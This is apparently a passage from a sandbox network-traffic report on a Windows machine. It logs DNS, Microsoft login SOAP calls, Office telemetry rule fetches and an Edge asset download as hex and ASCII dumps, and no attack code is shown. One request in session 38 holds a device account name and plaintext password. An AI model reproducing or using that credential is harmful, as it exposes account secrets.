2024-10-29 05:59:26 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0f 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomt^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49776	40.126.32.133	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:26 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-29 05:59:26 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 05:59:26 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 05:58:26 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 9598196c-8f9d-4c90-9b34-b1be35b0514f PPServer: PPV: 30 H: PH1PEPF00011EB5 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 05:59:26 GMT Connection: close Content-Length: 1276
2024-10-29 05:59:26 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49788	40.126.32.133	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:26 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-10-29 05:59:26 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 6e 6b 65 62 72 74 71 70 61 61 67 62 6f 62 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 65 65 23 4f 71 64 76 7a 40 64 6a 28 42 59 47 25 78 5e 6b 5e 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02nkebrtqpaagbob</Membername><Password>ee#Oqdvz@dj(BYG%x^k^</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-10-29 05:59:33 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Tue, 29 Oct 2024 05:58:26 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BAY x-ms-request-id: a709146f-2b3d-4839-a5fd-fc64c2d4bc33 PPServer: PPV: 30 H: PH1PEPF00011E86 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 05:59:32 GMT Connection: close Content-Length: 17166
2024-10-29 05:59:33 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 34 30 31 30 33 46 32 33 32 30 45 44 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 65 30 35 35 38 38 34 37 2d 63 32 34 31 2d 34 62 36 30 2d 38 30 39 35 2d 31 37 37 31 66 35 30 38 66 36 65 37 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>001840103F2320ED</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="e0558847-c241-4b60-8095-1771f508f6e7" LicenseID="3252b20c-d425-4711
2024-10-29 05:59:33 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49798	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:26 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 338c7fbe-d01e-0028-7d3c-287896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055926Z-15b8d89586f2hk281qydt1fyf000000001e0000000001ewk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 05:59:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49797	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:26 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 47f8d5d2-401e-005b-1e67-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055926Z-16849878b78p49s6zkwt11bbkn00000005w00000000013rg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 05:59:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49799	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:26 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:26 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 9956b93e-101e-0017-0e1a-2447c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055926Z-17c5cb586f6z6tw6g7cmdv30m800000007eg000000005k0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:27 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49800	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:26 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: ebbbec6e-b01e-0021-1c83-29cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055926Z-r197bdfb6b46kdskt78qagqq1c00000006cg0000000000kq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49801	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:27 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:27 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 584104f8-c01e-008d-42fd-272eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055927Z-r197bdfb6b4g24ztpxkw4umce800000007r0000000004u97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:27 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49811	13.107.246.57	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:27 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:28 UTC	564	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:28 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 27f37e42-f01e-0072-17c7-291939000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T055927Z-17c5cb586f6hn8cl90dxzu28kw0000000640000000005uk2 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-29 05:59:28 UTC	15820	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-10-29 05:59:28 UTC	16384	IN	Data Raw: 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be Data Ascii: h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'e
2024-10-29 05:59:28 UTC	16384	IN	Data Raw: 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 